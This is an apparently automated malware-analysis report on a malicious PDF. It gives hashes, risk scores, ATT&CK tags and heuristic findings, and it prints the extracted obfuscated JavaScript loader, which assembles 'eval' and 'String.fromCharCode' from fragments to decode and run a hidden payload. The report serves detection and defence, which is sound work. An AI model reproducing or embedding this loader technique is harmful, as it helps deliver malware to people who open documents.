Malicious PDF — malware analysis report

Static analysis result for SHA-256 71ab4b22cc74cba6…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-09
MD5: e7491a4786717be5651ac8118e8770dc SHA-1: b16b487506a26cd96aeaca77074cc25156daae26 SHA-256: 71ab4b22cc74cba68d72d8a2cff0e6c177d684e731abd7e03dca073a1ec067a7
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by the 'PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER' heuristic. This script is designed to decode and execute a secondary payload. The script reconstructs the string 'eval(cfw)' and then executes it, which likely leads to the download and execution of further malicious content. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF30 474 bytes
SHA-256: 71ee9f8188ecebd8fd7247fe02ad48f7fd2c3f0dbb08cdbb494f2854db6ec97d
Preview script
First 1,000 lines of the extracted script
cfw='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
fsx=e('ti'+'tle');
s=fsx.substr(t.length + 8,3)+'str';
q=fsx[s](1,(1,t.length + 7));
lho=e('S'+'tring.fro'+q);
q=fsx[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	esq = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	cfw += lho(esq);
}
e(cfw);

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